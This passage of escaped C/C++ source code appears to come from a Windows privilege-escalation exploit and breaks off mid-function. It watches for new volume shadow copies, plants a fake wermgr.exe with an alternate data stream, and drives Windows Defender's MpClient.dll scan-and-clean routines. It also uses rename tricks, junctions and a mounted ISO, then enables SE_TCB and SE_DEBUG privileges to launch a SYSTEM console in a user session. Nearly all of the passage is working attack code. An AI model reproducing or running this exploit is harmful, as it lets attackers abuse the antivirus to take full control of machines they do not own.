(LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));\\n                            if (!LLVSSfirst) {\\n                                printf(\\&#8221;[!] Failed to allocate memory.\\\\n\\&#8221;);\\n                                *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n                                *criticalerr = true;\\n                                DestroyVSSNamesList(LLVSSfirst);\\n                                free(objdirinfo);\\n                                return NULL;\\n                            }\\n                            ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));\\n                            LLVSScurrent = LLVSSfirst;\\n                            LLVSScurrent-\\u003ename = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));\\n                            if (!LLVSScurrent-\\u003ename) {\\n                                printf(\\&#8221;[!] Failed to allocate memory.\\\\n\\&#8221;);\\n                                *errorcode = ERROR_NOT_ENOUGH_MEMORY;\\n                                *criticalerr = true;\\n                                DestroyVSSNamesList(LLVSSfirst);\\n                                free(objdirinfo);\\n                                return NULL;\\n                            }\\n                            ZeroMemory(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Length + sizeof(wchar_t));\\n                            memmove(LLVSScurrent-\\u003ename, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);\\n                        }\\n                    }\\n                }\\n            }\\n        }\\n        \\n        free(objdirinfo);\\n        return LLVSSfirst;\\n    }\\n    \\n    DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath) {\\n        wchar_t devicepath[] = L\\&#8221;\\\\\\\\Device\\&#8221;;\\n        UNICODE_STRING udevpath = { 0 };\\n        RtlInitUnicodeString(\\u0026udevpath, devicepath);\\n        OBJECT_ATTRIBUTES objattr = { 0 };\\n        InitializeObjectAttributes(\\u0026objattr, \\u0026udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        NTSTATUS stat = STATUS_SUCCESS;\\n        HANDLE hobjdir = NULL;\\n        DWORD retval = ERROR_SUCCESS;\\n        wchar_t newvsspath[MAX_PATH] = { 0 };\\n        wcscpy(newvsspath, L\\&#8221;\\\\\\\\Device\\\\\\\\\\&#8221;);\\n        bool criterr = false;\\n        int vscnum = 0;\\n        bool restartscan = false;\\n        ULONG scanctx = 0;\\n        ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);\\n        ULONG retsz = 0;\\n        OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;\\n        bool srchfound = false;\\n        wchar_t vsswinpath[MAX_PATH] = { 0 };\\n        UNICODE_STRING _vsswinpath = { 0 };\\n        OBJECT_ATTRIBUTES objattr2 = { 0 };\\n        IO_STATUS_BLOCK iostat = { 0 };\\n        HANDLE hlk = NULL;\\n        LLShadowVolumeNames* vsinitial = NULL;\\n        stat = _NtOpenDirectoryObject(\\u0026hobjdir, 0x0001, \\u0026objattr);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open object manager directory, error: 0x%0.8X\\\\n\\&#8221;, stat);\\n            retval = RtlNtStatusToDosError(stat);\\n            return retval;\\n        }\\n        void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));\\n        if (!emptybuff) {\\n            printf(\\&#8221;[!] Failed to allocate memory.\\\\n\\&#8221;);\\n            retval = ERROR_NOT_ENOUGH_MEMORY;\\n            goto cleanup;\\n        }\\n        ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));\\n        vsinitial = RetrieveCurrentVSSList(hobjdir, \\u0026criterr, \\u0026vscnum, \\u0026retval);\\n        if (criterr) {\\n            printf(\\&#8221;[!] Unexpected error while listing current volume shadow copy volumes.\\\\n\\&#8221;);\\n            goto cleanup;\\n        }\\n        if (!vsinitial) {\\n            printf(\\&#8221;[*] No volume shadow copies were found.\\\\n\\&#8221;);\\n        } else {\\n            printf(\\&#8221;[*] Found %d volume shadow copies.\\\\n\\&#8221;, vscnum);\\n        }\\n        stat = STATUS_SUCCESS;\\n    scanagain:\\n        do {\\n            if (objdirinfo)\\n                free(objdirinfo);\\n            objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);\\n            if (!objdirinfo) {\\n                printf(\\&#8221;[!] Failed to allocate required buffer to query object manager directory.\\\\n\\&#8221;);\\n                retval = ERROR_NOT_ENOUGH_MEMORY;\\n                goto cleanup;\\n            }\\n            ZeroMemory(objdirinfo, reqsz);\\n            scanctx = 0;\\n            stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, \\u0026scanctx, \\u0026retsz);\\n            if (stat == STATUS_SUCCESS)\\n                break;\\n            else if (stat != STATUS_MORE_ENTRIES) {\\n                printf(\\&#8221;[!] NtQueryDirectoryObject failed with 0x%0.8X\\\\n\\&#8221;, stat);\\n                retval = RtlNtStatusToDosError(stat);\\n                goto cleanup;\\n            }\\n            reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;\\n        } while (1);\\n        for (ULONG i = 0; i \\u003c ULONG_MAX; i++) {\\n            if (memcmp(\\u0026objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0) {\\n                break;\\n            }\\n            if (_wcsicmp(L\\&#8221;Device\\&#8221;, objdirinfo[i].TypeName.Buffer) == 0) {\\n                wchar_t cmpstr[] = { L\\&#8221;HarddiskVolumeShadowCopy\\&#8221; };\\n                if (objdirinfo[i].Name.Length \\u003e= sizeof(cmpstr)) {\\n                    if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) &#8211; sizeof(wchar_t)) == 0) {\\n                        LLShadowVolumeNames* current = vsinitial;\\n                        bool found = false;\\n                        while (current) {\\n                            if (_wcsicmp(current-\\u003ename, objdirinfo[i].Name.Buffer) == 0) {\\n                                found = true;\\n                                break;\\n                            }\\n                            current = current-\\u003enext;\\n                        }\\n                        if (found)\\n                            continue;\\n                        else {\\n                            srchfound = true;\\n                            wcscat(newvsspath, objdirinfo[i].Name.Buffer);\\n                            break;\\n                        }\\n                    }\\n                }\\n            }\\n        }\\n        if (!srchfound) {\\n            restartscan = true;\\n            goto scanagain;\\n        }\\n        if (objdirinfo) {\\n            free(objdirinfo);\\n            objdirinfo = NULL;\\n        }\\n        NtClose(hobjdir);\\n        hobjdir = NULL;\\n        printf(\\&#8221;[+] New volume shadow copy detected: %ws\\\\n\\&#8221;, newvsspath);\\n        wcscpy(vsswinpath, newvsspath);\\n        wcscat(vsswinpath, L\\&#8221;\\\\\\\\Windows\\&#8221;);\\n        RtlInitUnicodeString(\\u0026_vsswinpath, vsswinpath);\\n        InitializeObjectAttributes(\\u0026objattr2, \\u0026_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n    retry:\\n        stat = NtCreateFile(\\u0026hlk, FILE_READ_ATTRIBUTES, \\u0026objattr2, \\u0026iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);\\n        if (stat == STATUS_NO_SUCH_DEVICE)\\n            goto retry;\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open volume shadow copy, error: 0x%0.8X\\\\n\\&#8221;, stat);\\n            retval = RtlNtStatusToDosError(stat);\\n            goto cleanup;\\n        }\\n        printf(\\&#8221;[+] Successfully accessed volume shadow copy.\\\\n\\&#8221;);\\n        CloseHandle(hlk);\\n        if (fullvsspath)\\n            wcscpy((wchar_t*)fullvsspath, newvsspath);\\n    cleanup:\\n        if (hobjdir)\\n            NtClose(hobjdir);\\n        if (emptybuff)\\n            free(emptybuff);\\n        if (vsinitial)\\n            DestroyVSSNamesList(vsinitial);\\n    \\n        return retval;\\n    }\\n    DWORD MpCleanCallbackFunction() {\\n        printf(\\&#8221;[*] MpCleanCallbackFunction called.\\\\n\\&#8221;);\\n        return 0;\\n    }\\n    bool GetWDInstallDir(wchar_t* dirname) {\\n        HKEY hkey = NULL;\\n        LSTATUS lstat = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L\\&#8221;SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows Defender\\&#8221;, NULL, KEY_QUERY_VALUE, \\u0026hkey);\\n        if (lstat) {\\n            printf(\\&#8221;[!] Failed to open Windows Defender registry key, error: %d\\\\n\\&#8221;, lstat);\\n            return false;\\n        }\\n        DWORD keytype = REG_SZ;\\n        DWORD datasz = MAX_PATH * sizeof(wchar_t);\\n        lstat = RegQueryValueEx(hkey, L\\&#8221;InstallLocation\\&#8221;, NULL, \\u0026keytype, (LPBYTE)dirname, \\u0026datasz);\\n        if (lstat) {\\n            printf(\\&#8221;[!] Failed to query Windows Defender install location, error: %d\\\\n\\&#8221;, lstat);\\n            return false;\\n        }\\n        RegCloseKey(hkey);\\n        return true;\\n    }\\n    bool GetWERDir(wchar_t* dirname) {\\n        wchar_t windir[MAX_PATH] = { 0 };\\n        GetWindowsDirectory(windir, MAX_PATH);\\n        wcscpy(dirname, windir);\\n        wcscat(dirname, L\\&#8221;\\\\\\\\System32\\&#8221;);\\n        return true;\\n    }\\n    DWORD WINAPI WDStartScan(void*) {\\n        wchar_t dllpath[MAX_PATH] = { 0 };\\n        if (!GetWDInstallDir(dllpath)) {\\n            ExitProcess(1);\\n        }\\n        wcscat(dllpath, L\\&#8221;MpClient.dll\\&#8221;);\\n        HMODULE hm = LoadLibrary(dllpath);\\n        if (!hm) {\\n            printf(\\&#8221;[!] Failed to load MpClient.dll, error: %d\\\\n\\&#8221;, GetLastError());\\n            ExitProcess(1);\\n        }\\n        HRESULT(WINAPI* _MpUpdateStart)(MPHANDLE, DWORD, PMPCALLBACK_INFO, PMPHANDLE) = \\n            (HRESULT(WINAPI*)(MPHANDLE, DWORD, PMPCALLBACK_INFO, PMPHANDLE))\\n            GetProcAddress(hm, \\&#8221;MpUpdateStart\\&#8221;);\\n        HRESULT(WINAPI* _MpManagerOpen)(DWORD, PMPHANDLE) = \\n            (HRESULT(WINAPI*)(DWORD, PMPHANDLE))\\n            GetProcAddress(hm, \\&#8221;MpManagerOpen\\&#8221;);\\n        HRESULT(WINAPI* _MpScanStart)(MPHANDLE, MPSCAN_TYPE, DWORD, PMPSCAN_RESOURCES, PMPCALLBACK_INFO, PMPHANDLE) = \\n            (HRESULT(WINAPI*)(MPHANDLE, MPSCAN_TYPE, DWORD, PMPSCAN_RESOURCES, PMPCALLBACK_INFO, PMPHANDLE))\\n            GetProcAddress(hm, \\&#8221;MpScanStart\\&#8221;);\\n        HRESULT(WINAPI* _MpScanResult)(MPHANDLE, void*) = \\n            (HRESULT(WINAPI*)(MPHANDLE, void*))\\n            GetProcAddress(hm, \\&#8221;MpScanResult\\&#8221;);\\n        HRESULT(WINAPI* _MpThreatOpen)(MPHANDLE, MPTHREAT_SOURCE, MPTHREAT_TYPE, PMPHANDLE) = \\n            (HRESULT(WINAPI*)(MPHANDLE, MPTHREAT_SOURCE, MPTHREAT_TYPE, PMPHANDLE))\\n            GetProcAddress(hm, \\&#8221;MpThreatOpen\\&#8221;);\\n        HRESULT(WINAPI* _MpThreatEnumerate)(MPHANDLE, PMPTHREAT_INFO*) = \\n            (HRESULT(WINAPI*)(MPHANDLE, PMPTHREAT_INFO*))\\n            GetProcAddress(hm, \\&#8221;MpThreatEnumerate\\&#8221;);\\n        HRESULT(WINAPI* _MpCleanOpen)(void*, void*, void***) = \\n            (HRESULT(WINAPI*)(void*, void*, void***))\\n            GetProcAddress(hm, \\&#8221;MpCleanOpen\\&#8221;);\\n        HRESULT(WINAPI* _MpCleanStart)(void*, unsigned int, void*) = \\n            (HRESULT(WINAPI*)(void*, unsigned int, void*))\\n            GetProcAddress(hm, \\&#8221;MpCleanStart\\&#8221;);\\n        HRESULT(WINAPI* _MpHandleClose)(MPHANDLE) = \\n            (HRESULT(WINAPI*)(MPHANDLE))\\n            GetProcAddress(hm, \\&#8221;MpHandleClose\\&#8221;);\\n        if (!_MpManagerOpen || !_MpScanStart || !_MpScanResult || !_MpThreatOpen || \\n            !_MpThreatEnumerate || !_MpCleanOpen || !_MpCleanStart || !_MpHandleClose) {\\n            printf(\\&#8221;[!] Failed to initialize DLL imports.\\\\n\\&#8221;);\\n            ExitProcess(1);\\n        }\\n        MPHANDLE hbinding = NULL;\\n        HRESULT hres = _MpManagerOpen(NULL, \\u0026hbinding);\\n        if (hres) {\\n            printf(\\&#8221;[!] Failed to open Windows Defender RPC interface, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        MPRESOURCE_INFO scaninfo = { 0 };\\n        scaninfo.Scheme = (wchar_t*)L\\&#8221;file\\&#8221;;\\n        scaninfo.Path = zippath;\\n        MPSCAN_RESOURCES scanrsrc = { 0 };\\n        scanrsrc.dwResourceCount = 1;\\n        scanrsrc.pResourceList = \\u0026scaninfo;\\n        MPHANDLE scanctx = NULL;\\n        hres = _MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004000, \\u0026scanrsrc, NULL, \\u0026scanctx);\\n        if (hres) {\\n            printf(\\&#8221;[!] Failed to start Windows Defender scan, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        DWORD sz = 0x90;\\n        void* scanres = malloc(0x90);\\n        ZeroMemory(scanres, 0x90);\\n        hres = _MpScanResult(scanctx, scanres);\\n        if (hres) {\\n            printf(\\&#8221;[!] Failed to fetch scan results, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        MPHANDLE threatctx = NULL;\\n        hres = _MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, \\u0026threatctx);\\n        if (hres) {\\n            printf(\\&#8221;[!] Failed to open threats, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        MPTHREAT_INFO* tinfo = NULL;\\n        hres = _MpThreatEnumerate(threatctx, \\u0026tinfo);\\n        if (hres == 0x1) {\\n            printf(\\&#8221;[*] No threats found.\\\\n\\&#8221;);\\n            ExitProcess(0);\\n        }\\n        if (hres) {\\n            printf(\\&#8221;[!] Failed to enumerate threats, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        if (tinfo-\\u003eThreatStatus != 0x1) {\\n            printf(\\&#8221;[!] Unexpected reply from MpThreatEnumerate.\\\\n\\&#8221;);\\n            ExitProcess(1);\\n        }\\n        void** ret = NULL;\\n        hres = _MpCleanOpen(scanctx, NULL, \\u0026ret);\\n        if (hres) {\\n            printf(\\&#8221;[!] MpCleanOpen failed, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        void* callbackaddr[2] = { (void*)MpCleanCallbackFunction, (void*)MpCleanCallbackFunction };\\n        hres = _MpCleanStart(ret, NULL, callbackaddr);\\n        if (hres) {\\n            printf(\\&#8221;[!] MpCleanStart failed, error: 0x%0.8X\\\\n\\&#8221;, hres);\\n            ExitProcess(1);\\n        }\\n        _MpHandleClose(scanctx);\\n        _MpHandleClose(threatctx);\\n        _MpHandleClose(hbinding);\\n        \\n        return ERROR_SUCCESS;\\n    }\\n    char* eicar_data = NULL;\\n    DWORD eicar_sz = 0;\\n    \\n    HANDLE WriteEicar(wchar_t* workdir, wchar_t* isomnt) {\\n        wchar_t eicarpath[MAX_PATH] = { 0 };\\n        wsprintf(eicarpath, L\\&#8221;%s\\\\\\\\wermgr.exe\\&#8221;, workdir);\\n        \\n        HANDLE hfile = NULL;\\n        UNICODE_STRING _eicarpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_eicarpath, eicarpath);\\n        OBJECT_ATTRIBUTES eicarpathobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026eicarpathobjattr, \\u0026_eicarpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        IO_STATUS_BLOCK iostat = { 0 };\\n        \\n        NTSTATUS stat = NtCreateFile(\\u0026hfile, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE, \\n                                      \\u0026eicarpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n                                      FILE_SHARE_READ, FILE_OVERWRITE_IF, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to create EICAR test file: %ws, error: 0x%0.8X\\\\n\\&#8221;, eicarpath, stat);\\n            return NULL;\\n        }\\n    \\n        if (eicar_data \\u0026\\u0026 eicar_sz) {\\n            DWORD writtenbytes = 0;\\n            OVERLAPPED ovp = { 0 };\\n            ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n            if (WriteFile(hfile, eicar_data, eicar_sz, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n                printf(\\&#8221;[!] Failed to write EICAR data, error: %d\\\\n\\&#8221;, GetLastError());\\n                return NULL;\\n            }\\n            return hfile;\\n        }\\n        HANDLE hsrc = NULL;\\n        wchar_t eicarsrcpath[MAX_PATH] = { 0 };\\n        wsprintf(eicarsrcpath, L\\&#8221;%s\\\\\\\\wermgr.exe\\&#8221;, isomnt);\\n        UNICODE_STRING _eicarsrcpath = { 0 };\\n        RtlInitUnicodeString(\\u0026_eicarsrcpath, eicarsrcpath);\\n        OBJECT_ATTRIBUTES eicarsrcpathobjattr = { 0 };\\n        InitializeObjectAttributes(\\u0026eicarsrcpathobjattr, \\u0026_eicarsrcpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n        iostat = { 0 };\\n        \\n        stat = NtCreateFile(\\u0026hsrc, GENERIC_READ, \\u0026eicarsrcpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n                            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to open EICAR test file: %ws, error: 0x%0.8X\\\\n\\&#8221;, eicarpath, stat);\\n            return NULL;\\n        }\\n    \\n        LARGE_INTEGER li = { 0 };\\n        GetFileSizeEx(hsrc, \\u0026li);\\n        eicar_sz = li.QuadPart;\\n        eicar_data = (char*)malloc(li.QuadPart);\\n        \\n        DWORD retbytes = 0;\\n        OVERLAPPED ovp2 = { 0 };\\n        ovp2.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        \\n        if (ReadFile(hsrc, eicar_data, li.QuadPart, \\u0026retbytes, \\u0026ovp2) == ERROR_IO_PENDING) {\\n            printf(\\&#8221;[!] Failed to read EICAR data, error: %d\\\\n\\&#8221;, GetLastError());\\n            return NULL;\\n        }\\n        WaitForSingleObject(ovp2.hEvent, INFINITE);\\n        CloseHandle(ovp2.hEvent);\\n    \\n        DWORD writtenbytes = 0;\\n        OVERLAPPED ovp = { 0 };\\n        ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        \\n        if (WriteFile(hfile, eicar_data, li.QuadPart, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n            printf(\\&#8221;[!] Failed to write EICAR data, error: %d\\\\n\\&#8221;, GetLastError());\\n            return NULL;\\n        }\\n        WaitForSingleObject(ovp.hEvent, INFINITE);\\n        ResetEvent(ovp.hEvent);\\n        void* eicar2 = malloc(0x1000);\\n        UNICODE_STRING adsname = { 0 };\\n        RtlInitUnicodeString(\\u0026adsname, L\\&#8221;:WDFOO\\&#8221;);\\n        OBJECT_ATTRIBUTES objattr2 = { 0 };\\n        InitializeObjectAttributes(\\u0026objattr2, \\u0026adsname, OBJ_CASE_INSENSITIVE, hfile, NULL);\\n        \\n        HANDLE hstream = NULL;\\n        stat = NtCreateFile(\\u0026hstream, GENERIC_WRITE | SYNCHRONIZE, \\u0026objattr2, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL, \\n                            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, NULL, NULL, NULL);\\n        if (stat) {\\n            printf(\\&#8221;[!] Failed to create EICAR stream file: %ws%ws, error: 0x%0.8X\\\\n\\&#8221;, eicarpath, adsname.Buffer, stat);\\n            return NULL;\\n        }\\n    \\n        if (WriteFile(hstream, eicar2, 0x1000, \\u0026writtenbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n            printf(\\&#8221;[!] Failed to write ADS data, error: %d\\\\n\\&#8221;, GetLastError());\\n            return NULL;\\n        }\\n        \\n        free(eicar2);\\n        CloseHandle(hstream);\\n        WaitForSingleObject(ovp.hEvent, INFINITE);\\n        CloseHandle(ovp.hEvent);\\n        CloseHandle(hsrc);\\n        \\n        return hfile;\\n    }\\n    bool MoveToTempDir(HANDLE hobj, wchar_t* targetpath = NULL) {\\n        GUID uid = { 0 };\\n        RPC_WSTR wuid = { 0 };\\n        UuidCreate(\\u0026uid);\\n        UuidToStringW(\\u0026uid, \\u0026wuid);\\n        wchar_t* wuid2 = (wchar_t*)wuid;\\n        \\n        wchar_t target[MAX_PATH] = { 0 };\\n        if (targetpath) {\\n            wcscpy(target, targetpath);\\n        } else {\\n            ExpandEnvironmentStrings(L\\&#8221;\\\\\\\\??\\\\\\\\%TEMP%\\\\\\\\RP_\\&#8221;, target, MAX_PATH);\\n            wcscat(target, wuid2);\\n        }\\n    \\n        IO_STATUS_BLOCK iostat = { 0 };\\n        PFILE_RENAME_INFORMATION fri = (PFILE_RENAME_INFORMATION)malloc(sizeof(FILE_RENAME_INFORMATION) + sizeof(target));\\n        ZeroMemory(fri, sizeof(FILE_RENAME_INFORMATION) + sizeof(target));\\n        memmove(\\u0026fri-\\u003eFileName[0], target, wcslen(target) * sizeof(wchar_t));\\n        fri-\\u003eFileNameLength = wcslen(target) * sizeof(wchar_t);\\n        fri-\\u003eFlags = 0x00000001 | 0x00000040;\\n    \\n        do {\\n            NTSTATUS stat = _NtSetInformationFile(hobj, \\u0026iostat, fri, sizeof(FILE_RENAME_INFORMATION) + sizeof(target), \\n                                                  (FILE_INFORMATION_CLASS)custom_defs::FileRenameInformationEx);\\n            if (stat == STATUS_SUCCESS)\\n                return true;\\n            if (stat == STATUS_SHARING_VIOLATION)\\n                continue;\\n            if (stat) {\\n                printf(\\&#8221;[!] Failed to move directory, error: 0x%0.8X\\\\n\\&#8221;, stat);\\n                return false;\\n            }\\n        } while (1);\\n        \\n        return true;\\n    }\\n    bool CreateJunction(HANDLE hdir, wchar_t* target) {\\n        wchar_t rptarget[MAX_PATH] = { 0 };\\n        wchar_t printname[1] = { L&#8217;\\\\0&#8242; };\\n        wcscpy(rptarget, target);\\n        size_t targetsz = wcslen(rptarget) * 2;\\n        size_t printnamesz = 1 * 2;\\n        size_t pathbuffersz = targetsz + printnamesz + 12;\\n        size_t totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;\\n        REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);\\n        rdb-\\u003eReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\\n        rdb-\\u003eReparseDataLength = static_cast\\u003cUSHORT\\u003e(pathbuffersz);\\n        rdb-\\u003eReserved = 0;\\n        rdb-\\u003eMountPointReparseBuffer.SubstituteNameOffset = 0;\\n        rdb-\\u003eMountPointReparseBuffer.SubstituteNameLength = static_cast\\u003cUSHORT\\u003e(targetsz);\\n        memcpy(rdb-\\u003eMountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);\\n        rdb-\\u003eMountPointReparseBuffer.PrintNameOffset = static_cast\\u003cUSHORT\\u003e(targetsz + 2);\\n        rdb-\\u003eMountPointReparseBuffer.PrintNameLength = static_cast\\u003cUSHORT\\u003e(printnamesz);\\n        memcpy(rdb-\\u003eMountPointReparseBuffer.PathBuffer + targetsz \/ 2 + 1, printname, printnamesz);\\n    \\n        OVERLAPPED ov = { 0 };\\n        ov.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n        if (!ov.hEvent) {\\n            return false;\\n        }\\n    \\n        DeviceIoControl(hdir, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, 0, NULL, \\u0026ov);\\n        HeapFree(GetProcessHeap(), NULL, rdb);\\n        rdb = NULL;\\n    \\n        if (GetLastError() == ERROR_IO_PENDING) {\\n            DWORD retsz = 0;\\n            GetOverlappedResult(hdir, \\u0026ov, \\u0026retsz, TRUE);\\n        }\\n    \\n        if (GetLastError() != ERROR_SUCCESS) {\\n            printf(\\&#8221;[!] Failed to create reparse point, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n        \\n        return true;\\n    }\\n    bool MountISO(HANDLE* hiso) {\\n        GUID uid = { 0 };\\n        RPC_WSTR wuid = { 0 };\\n        UuidCreate(\\u0026uid);\\n        UuidToStringW(\\u0026uid, \\u0026wuid);\\n        wchar_t* wuid2 = (wchar_t*)wuid;\\n        \\n        wchar_t target[MAX_PATH] = { 0 };\\n        ExpandEnvironmentStrings(L\\&#8221;%TEMP%\\\\\\\\RP_\\&#8221;, target, MAX_PATH);\\n        wcscat(target, wuid2);\\n    \\n        HANDLE hf = CreateFile(target, GENERIC_READ | GENERIC_WRITE, \\n                               FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \\n                               NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);\\n        if (!hf || hf == INVALID_HANDLE_VALUE) {\\n            printf(\\&#8221;[!] Failed to create ISO file, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n    \\n        DWORD dwbytes = 0;\\n        if (!WriteFile(hf, rawData, sizeof(rawData), \\u0026dwbytes, NULL)) {\\n            printf(\\&#8221;[!] Failed to write data to .iso file, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n        CloseHandle(hf);\\n    \\n        static const GUID VIRTUAL_STORAGE_TYPE_VENDOR_MS = { \\n            0xEC984AEC, 0xA0F9, 0x47e9, 0x90, 0x1F, 0x71, 0x41, 0x5A, 0x66, 0x34, 0x5B \\n        };\\n        \\n        VIRTUAL_STORAGE_TYPE vst = { VIRTUAL_STORAGE_TYPE_DEVICE_ISO, VIRTUAL_STORAGE_TYPE_VENDOR_MS };\\n        HANDLE hvirtdisk = NULL;\\n        \\n        DWORD retval = OpenVirtualDisk(\\u0026vst, target, \\n                                       VIRTUAL_DISK_ACCESS_GET_INFO | VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_DETACH, \\n                                       OPEN_VIRTUAL_DISK_FLAG_NONE, NULL, \\u0026hvirtdisk);\\n        if (retval) {\\n            printf(\\&#8221;[!] Failed to open virtual disk, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n    \\n        retval = AttachVirtualDisk(hvirtdisk, NULL, \\n                                   ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, \\n                                   NULL, NULL, NULL);\\n        if (retval) {\\n            printf(\\&#8221;[!] Failed to attach virtual disk, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n    \\n        if (hiso)\\n            *hiso = hvirtdisk;\\n            \\n        return true;\\n    }\\n    \\n    BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {\\n        TOKEN_PRIVILEGES tp;\\n        LUID luid;\\n    \\n        if (!LookupPrivilegeValue(NULL, lpszPrivilege, \\u0026luid)) {\\n            printf(\\&#8221;[!] LookupPrivilegeValue error: %u\\\\n\\&#8221;, GetLastError());\\n            return FALSE;\\n        }\\n    \\n        tp.PrivilegeCount = 1;\\n        tp.Privileges[0].Luid = luid;\\n        if (bEnablePrivilege)\\n            tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\\n        else\\n            tp.Privileges[0].Attributes = 0;\\n    \\n        if (!AdjustTokenPrivileges(hToken, FALSE, \\u0026tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {\\n            printf(\\&#8221;[!] AdjustTokenPrivileges error: %u\\\\n\\&#8221;, GetLastError());\\n            return FALSE;\\n        }\\n    \\n        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {\\n            printf(\\&#8221;[!] The token does not have the specified privilege.\\\\n\\&#8221;);\\n            return FALSE;\\n        }\\n    \\n        return TRUE;\\n    }\\n    \\n    bool IsRunningAsLocalSystem() {\\n        HANDLE htoken = NULL;\\n        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, \\u0026htoken)) {\\n            printf(\\&#8221;[!] OpenProcessToken failed, error: %d\\\\n\\&#8221;, GetLastError());\\n            return false;\\n        }\\n    \\n        TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));\\n        DWORD retsz = 0;\\n        bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), \\u0026retsz);\\n        CloseHandle(htoken);\\n        \\n        if (!res)\\n            return false;\\n    \\n        return IsWellKnownSid(tokenuser-\\u003eUser.Sid, WinLocalSystemSid);\\n    }\\n    \\n    void LaunchConsoleInSessionId(DWORD sessionid) {\\n        HANDLE htoken = NULL;\\n        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, \\u0026htoken))\\n            return;\\n    \\n        SetPrivilege(htoken, SE_TCB_NAME, TRUE);\\n        SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);\\n        SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);\\n        SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);\\n    \\n        HANDLE hnewtoken = NULL;\\n        bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, 